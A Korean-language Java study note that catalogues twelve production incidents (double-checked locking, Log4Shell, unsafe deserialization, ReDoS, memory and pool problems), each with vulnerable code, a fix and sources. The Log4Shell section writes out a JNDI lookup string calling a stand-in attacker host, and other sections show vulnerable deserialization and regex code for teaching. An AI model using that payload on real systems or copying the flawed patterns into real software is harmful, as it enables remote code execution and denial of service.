자바 언어·플랫폼 학습 노트 목차

실무 노하우 — 실제 사고 사례 (출처 포함)

현장에서 실제로 시스템을 무너뜨린 자바 사고들. 각 항목은 권위 있는 1차 자료(JSR·공식 Javadoc·OpenJDK 버그DB·NVD CVE·OWASP·엔지니어링 포스트모템)로 검증했고, 지금도 유효한 것만 추렸다. 원리를 알면 다시는 안 밟는다.


① 이중 검사 잠금(DCL)이 volatile 없이 조용히 깨진다

class Singleton {
    private static Singleton instance;          // ✗ volatile 없음
    static Singleton get() {
        if (instance == null) {                 // 1차 검사 (락 없이)
            synchronized (Singleton.class) {
                if (instance == null)            // 2차 검사
                    instance = new Singleton();  // 💥 여기가 문제
            }
        }
        return instance;
    }
}

무엇이 터지나instance = new Singleton()은 사실 ① 메모리 할당 ② 생성자 실행 ③ 참조 대입, 세 단계다. 컴파일러·CPU는 ②와 ③을 재정렬할 수 있다. 그러면 다른 스레드가 생성자가 끝나기도 전에 null이 아닌 참조를 보고, 필드가 기본값(0/null)인 절반만 만들어진 객체를 사용한다.

고침

private static volatile Singleton instance;     // ✓ JSR-133(Java 5)부터 재정렬 차단
// 또는 — 홀더 관용구(클래스 초기화는 JVM이 스레드 안전 보장)
private static class Holder { static final Singleton I = new Singleton(); }
static Singleton get() { return Holder.I; }

출처: Pugh et al. ["Double-Checked Locking is Broken" Declaration], 자바 메모리 모델 JSR-133 (Java 5). "writes that initialize the Helper object and the write to the helper field can be done or perceived out of order."


SimpleDateFormatstatic으로 공유 → 날짜가 깨진다

// ✗ 대표적 사고: 비용 아끼려 static 공유 → 멀티스레드에서 파싱 오류·예외
static final SimpleDateFormat SDF = new SimpleDateFormat("yyyy-MM-dd");
Date d = SDF.parse(input);    // 동시 호출 시 NumberFormatException / 엉뚱한 날짜

무엇이 터지나SimpleDateFormat은 **가변(mutable)**이다. format()/parse()가 내부 Calendar 필드에 중간 상태를 저장하기 때문에, 여러 스레드가 같은 인스턴스를 쓰면 서로의 상태를 덮어써 결과가 깨지거나 예외가 난다. 공식 Javadoc도 "Date formats are not synchronized" 라고 명시.

고침

// ✓ java.time DateTimeFormatter — 불변(immutable) + 스레드 안전. static 공유 OK
static final DateTimeFormatter FMT = DateTimeFormatter.ofPattern("yyyy-MM-dd");
LocalDate d = LocalDate.parse(input, FMT);

출처: java.text.SimpleDateFormat 공식 Javadoc 동기화 경고. 대체재는 java.time.format.DateTimeFormatter(JSR-310) — immutable & thread-safe.


③ Log4Shell — 로그 한 줄로 원격 코드 실행 (CVE-2021-44228)

// 공격자가 보낸 User-Agent/입력을 그대로 로깅했을 뿐인데…
log.info("login attempt: {}", userInput);
// userInput = ${jndi:ldap://attacker.com/a}

무엇이 터지나 — Log4j 2의 메시지 룩업 치환 기능이 로그 문자열 안의 ${jndi:ldap://...}를 해석해, 공격자 LDAP 서버에서 악성 자바 클래스를 내려받아 실행한다 → 원격 코드 실행(RCE). 영향: Log4j 2.0-beta9 ~ 2.14.1. 2021년 인터넷 전체를 흔든 사고.

교훈·고침

  • 신뢰할 수 없는 입력동적 해석(JNDI·치환·역직렬화)에 흘리지 마라.
  • Log4j는 2.17.x로 업그레이드(룩업 제거). 임시방편으로 JndiLookup.class 제거. formatMsgNoLookups만으론 불완전(이후 CVE-2021-45046/45105 추가 발견).

출처: NVD CVE-2021-44228 (Log4Shell), Apache Log4j Security 공지. 후속: CVE-2021-45046, CVE-2021-45105.


④ 자바 역직렬화 = 신뢰 못 할 데이터를 코드로 (RCE)

// ✗ 네트워크/쿠키/큐에서 받은 바이트를 그대로 역직렬화
Object o = new ObjectInputStream(untrustedStream).readObject();  // 💥

무엇이 터지나readObject()는 바이트 스트림으로 임의 객체 그래프를 복원한다. 클래스패스에 있는 라이브러리(예: Apache Commons Collections)의 메서드들을 엮은 가젯 체인으로, 역직렬화 도중 원격 코드 실행이 가능하다(ysoserial로 무기화).

교훈·고침

  • 신뢰할 수 없는 데이터는 절대 자바 직렬화로 역직렬화하지 마라.
  • 꼭 필요하면 역직렬화 필터링(JEP 290, Java 9 — ObjectInputFilter로 허용 클래스 화이트리스트).
  • 데이터 교환은 자바 직렬화 대신 JSON/Protobuf 같은 데이터 전용 포맷.

출처: OWASP "Deserialization of Untrusted Data" (Top 10 A08:2021), OpenJDK JEP 290 — Serialization Filtering(Java 9). Effective Java Item 85: "자바 직렬화를 피하라."


⑤ 거짓 공유(False Sharing) — 락도 없는데 느려진다

// 두 스레드가 서로 다른 필드를 갱신하는데도 성능이 안 나온다
class Counters { volatile long a; volatile long b; }   // a, b가 같은 캐시 라인(64B)에

무엇이 터지나 — CPU 캐시는 캐시 라인(보통 64바이트) 단위로 동작한다. ab가 한 라인에 들어가면, 한 스레드가 a만 바꿔도 다른 코어의 b 캐시가 무효화되어(cache-line ping-pong) 둘이 논리적으론 독립인데 서로를 느리게 만든다.

고침@Contended(jdk.internal.vm.annotation) 또는 패딩으로 핫 필드를 다른 라인에 분리. (대표 활용: LongAdder의 셀 분산.)

출처: Aleksey Shipilëv(JMM·JMH 권위자)의 false sharing 분석, @jdk.internal.vm.annotation.Contended. JDK LongAdder가 이 원리로 고경쟁 카운터를 빠르게 만든다.


⑥ 커넥션 풀을 100 → 300으로 키웠더니 느려졌다 — 왜?

// ✗ 트래픽 늘었다고 풀을 100 → 300으로. 오히려 응답이 느려지고 DB CPU만 치솟는다
hikari.setMaximumPoolSize(300);

직관은 "연결이 많을수록 더 많이 처리"지만, 실제로는 반대로 간다. 그런지 로우레벨로 따라가 보자. 커넥션 하나는 결국 DB 서버의 백엔드 프로세스/스레드 하나다. 풀이 300이면 DB에서 최대 300개가 동시에 CPU를 달라고 줄을 선다.

① 코어는 한정돼 있다. 8코어 DB는 진짜로는 8개만 동시에 실행한다(하이퍼스레딩·I/O 대기로 조금 더). 300개가 8코어를 원하면 나머지 292개는 그저 대기하며 RAM과 스케줄링 부담만 먹고 결과는 0을 낸다.

② 컨텍스트 스위치가 폭증한다. OS는 코어를 잘게 쪼개 300개를 번갈아 돌린다. 전환할 때마다 레지스터·상태를 저장하고 복원하는데 — 그 사이 코어는 어떤 쿼리도 처리하지 못한다(JVM 페이지의 컨텍스트 스위치 비용 그대로). 연결이 많을수록 일은 줄고 전환만 는다.

③ 캐시가 스래싱된다. 전환할 때마다, 방금 그 쿼리가 데워 놓은 CPU 캐시(L1/L2)의 워킹셋이 다른 쿼리 데이터로 밀려난다(GC·JIT 페이지의 캐시 라인 64B 이야기). 다시 그 쿼리로 돌아오면 캐시 미스부터 다시 — RAM이 CPU보다 ~100배 느린 "메모리 장벽"을 매번 새로 맞는다.

④ 공유 자원 락·버퍼가 경합한다. 프로세스가 많아질수록 DB 내부의 공유 락(spinlock·LWLock — 버퍼 매니저·락 매니저·WAL)과 shared_buffers(디스크 블록 캐시) 페이지를 서로 다툰다. CPU가 일이 아니라 락 획득과 캐시 페이지 축출에 시간을 태운다. (게다가 연결마다 작업 메모리를 먹어, 무작정 늘리면 OOM·스왑까지.)

한 줄로 — 코어 수를 넘는 연결은 병렬성을 더하는 게 아니라 **오버헤드(전환·캐시 미스·락 경합)**만 더한다. 그래서 풀을 작게 둬 DB를 "바쁘되 과포화는 안 되게" 유지하고, 초과 앱 스레드는 DB에 들이밀지 말고 풀 큐에서 대기시키는 게 전체 처리량이 높다.

고침 — 시작 공식: connections ≈ (코어 수 × 2) + 디스크 수. SSD면 디스크≈1 → 4코어 서버는 약 9. (CPU 바운드는 코어 수만큼, I/O 대기 동안 다른 쿼리가 코어를 쓰니 ×2.) 그 위는 부하 테스트로 미세 조정.

출처: HikariCP Wiki "About Pool Sizing"(brettwooldridge), PostgreSQL Wiki "Number Of Database Connections". Oracle Real-World Performance 그룹은 적정 vs 과대 풀에서 약 50배 처리량 차이를 시연했다.


ConcurrentHashMap.computeIfAbsent 재귀 → 무한 루프

// ✗ 재귀 메모이제이션: compute 안에서 같은 캐시를 또 computeIfAbsent
Map<Integer,Integer> memo = new ConcurrentHashMap<>();
memo.computeIfAbsent(n, k -> memo.computeIfAbsent(k - 1, ...) + ...);

무엇이 터지나computeIfAbsent버킷을 잠근 채 함수를 실행한다. 그 함수가 같은 맵을 다시 갱신하면 같은 버킷에 재진입 → Java 8에선 끝나지 않는 루프/데드락(JDK-8062841), Java 9+에선 IllegalStateException: Recursive update. Javadoc도 "계산은 짧고 단순해야 하며 이 맵의 다른 매핑을 갱신해선 안 된다"고 명시.

고침 — 재귀 메모이제이션엔 computeIfAbsent를 쓰지 말고 get → 계산 → putIfAbsent로 분리하거나 별도 캐시 사용.

출처: OpenJDK JDK-8062841, jOOQ blog "Avoid Recursion in ConcurrentHashMap.computeIfAbsent()", ConcurrentHashMap Javadoc.


⑧ 정규식 파국적 백트래킹(ReDoS) — Cloudflare 27분 글로벌 장애

// ✗ 중첩 탐욕 수량자: 매칭 실패 시 백트래킹이 입력 길이에 지수적으로 폭발
Pattern.compile("(.*.*)=.*").matcher(attackerInput).matches();

무엇이 터지나 — 2019-07-02, Cloudflare가 WAF에 배포한 정규식의 **중첩 와일드카드(.*.*)**가 특정 입력에서 지수적 백트래킹을 일으켜 전 세계 모든 코어 CPU 100% → 27분간 502. java.util.regex도 같은 백트래킹 기반 엔진이라 동일하게 취약(ReDoS).

고침 — 신뢰 못 할 입력에 중첩 탐욕 정규식 금지. 소유 수량자(a++원자 그룹((?>...))·입력 길이 제한·매칭 타임아웃. 그리고 전역 동시 배포 대신 카나리(Cloudflare의 2차 교훈).

출처: Cloudflare "Details of the Cloudflare outage on July 2, 2019" 공식 포스트모템.


OutOfMemoryError: unable to create new native thread

// ✗ 요청마다 스레드 생성 — 부하 급증 시 힙은 멀쩡한데 죽는다
new Thread(() -> handle(req)).start();

무엇이 터지나 — 스레드는 네이티브 자원이다. **OS 스레드 한계(ulimit -u)**와 **스레드당 스택(~1MB 네이티브 메모리)**을 소모해, 무한 생성하면 힙 OOM이 아니라 네이티브 스레드 생성 실패로 죽는다(원인·해법이 힙 OOM과 다름).

고침ExecutorService 스레드 풀로 상한을 둔다. I/O 블로킹이 많으면 가상 스레드(Java 21)로 스레드 수 압박 자체를 제거.

출처: JVM/OS 일반 — 스레드↔OS 스레드 1:1 매핑, 스택 -Xss.


⑩ G1의 거대 객체(Humongous) — 빈 공간이 넘치는데 OOM

// ✗ 수 MB짜리 배열·버퍼를 자주 만든다 (이미지·배치·큰 응답)
byte[] buf = new byte[8 * 1024 * 1024];   // 8MB

무엇이 터지나 — G1은 힙을 균등한 리전(보통 1~32MB)으로 나누는데, **리전 절반 이상 크기의 객체는 "거대 객체(humongous)"**로 따로 취급한다. 거대 객체는 연속된 리전에 통째로 놓이고 일반 GC는 물론 Full GC에서도 이동하지 않는다. 게다가 마지막 리전의 남는 공간은 그 객체가 회수될 때까지 버려진다. 이런 게 쌓이면 리전 사이에 구멍이 생겨(단편화), 전체로는 빈 공간이 많은데도 연속 리전을 못 구해 잦은 Full GC나 심하면 OOM이 난다.

고침·왜 — ① -XX:G1HeapRegionSize를 키우면 임계(리전 절반)가 올라가 그 객체가 더는 거대하지 않게 되어 일반 할당 경로를 탄다(단, 리전 수가 줄어 GC가 둔해질 수 있다). ② 더 근본적으로 큰 배열을 잘게 쪼개거나 스트리밍해 거대 객체 자체를 안 만든다.

출처: Oracle G1 GC Tuning Guide, Microsoft for Java "Humongous Objects", Krzysztof Słusarski의 G1 humongous 프로파일링.


⑪ 힙은 멀쩡한데 죽는다 — DirectByteBuffer 오프힙 누수

// 힙 밖(네이티브) 메모리를 쓰는 버퍼 — GC가 직접 보지 못한다
ByteBuffer buf = ByteBuffer.allocateDirect(1 << 20);  // 1MB 오프힙

무엇이 터지나allocateDirect(와 Netty 같은 NIO 프레임워크)는 힙 밖 네이티브 메모리에 버퍼를 잡는다. 이 메모리의 해제는 자바 래퍼 객체가 GC될 때 Cleaner(PhantomReference)가 뒤늦게 풀어 주는 구조라, 힙에 여유가 많아 GC가 잘 안 일어나면 네이티브 메모리만 계속 쌓인다. 게다가 JDK는 스레드마다 I/O용 direct buffer를 캐싱해서, 스레드가 많고 블록이 크면 누수처럼 보인다. 증상은 힙 OOM이 아니라 OutOfMemoryError: Direct buffer memory.

고침·왜 — ① -XX:MaxDirectMemorySize로 오프힙 상한을 명시한다(상한에 닿으면 GC를 유도해 Cleaner가 돌게 한다). ② JDK 스레드 캐시는 -Djdk.nio.maxCachedBufferSize=262144(256KB 초과는 캐시 안 함)로 묶는다. ③ Netty는 풀링 할당자 + 명시적 release()(참조 카운팅)로 GC에 의존하지 않게 한다.

출처: evanjones.ca "Fixing Java's ByteBuffer native memory leak", DZone 오프힙 트러블슈팅, grpc-java #5583.


⑫ 캐시가 DB를 죽인다 — 캐시 스탬피드(thundering herd)

// ✗ 인기 키들이 같은 TTL로 한꺼번에 만료 → 수천 요청이 동시에 DB로 직격
String v = cache.get(key, k -> db.expensiveQuery(k));

무엇이 터지나 — 자주 쓰는 캐시 키가 동시에 만료되면, 그 순간 수천 요청이 일제히 캐시 미스가 나 같은 무거운 쿼리를 동시에 DB로 쏜다. 평소 캐시가 막아 주던 부하가 한꺼번에 터져 DB가 무너진다 — 캐시가 오히려 DB를 죽이는 역설(thundering herd).

고침·왜 — ① TTL 지터: 만료 시각에 ±10~20% 무작위를 줘 동시 만료를 흩는다(1000개가 한 점이 아니라 몇 분에 걸쳐 만료). ② 요청 합치기(single-flight): 같은 키의 동시 미스는 한 번만 계산하고 나머지는 그 결과를 기다린다(Caffeine get(key, loader)가 키 단위로 이를 보장, 또는 ConcurrentHashMap + CompletableFuture로 직접). ③ stale-while-revalidate: 만료돼도 헌 값을 즉시 주고 백그라운드로 갱신.

출처: Redis blog "How to tame the thundering herd", 분산 시스템 캐시 가이드 다수.


정리 — 한 줄 교훈

사고한 줄
DCL싱글톤 lazy init 필드엔 volatile (또는 홀더 관용구)
SimpleDateFormatDateTimeFormatter(불변·스레드 안전)로 갈아타라
Log4Shell신뢰 못 할 입력 + 동적 해석 = 사고. 의존성 업데이트 생활화
역직렬화 RCE신뢰 못 할 데이터 역직렬화 금지, JSON·필터(JEP 290)
거짓 공유핫 필드는 캐시 라인 분리(@Contended)
커넥션 풀키울수록 느려질 수 있다 — (코어×2)+디스크 부근으로 작게
CHM 재귀computeIfAbsent 안에서 같은 맵 갱신 금지
ReDoS중첩 탐욕 정규식 + 신뢰 못 할 입력 = CPU 폭발
native thread OOM스레드 풀/가상 스레드로 무한 생성 차단
G1 거대 객체리전 절반↑ 객체는 안 움직여 단편화 → 큰 배열 쪼개거나 RegionSize↑
오프힙 누수DirectByteBuffer는 GC+Cleaner 의존 → MaxDirectMemorySize·명시적 release
캐시 스탬피드동시 만료 → DB 직격. TTL 지터·요청 합치기·stale-while-revalidate
모듈·모던 Java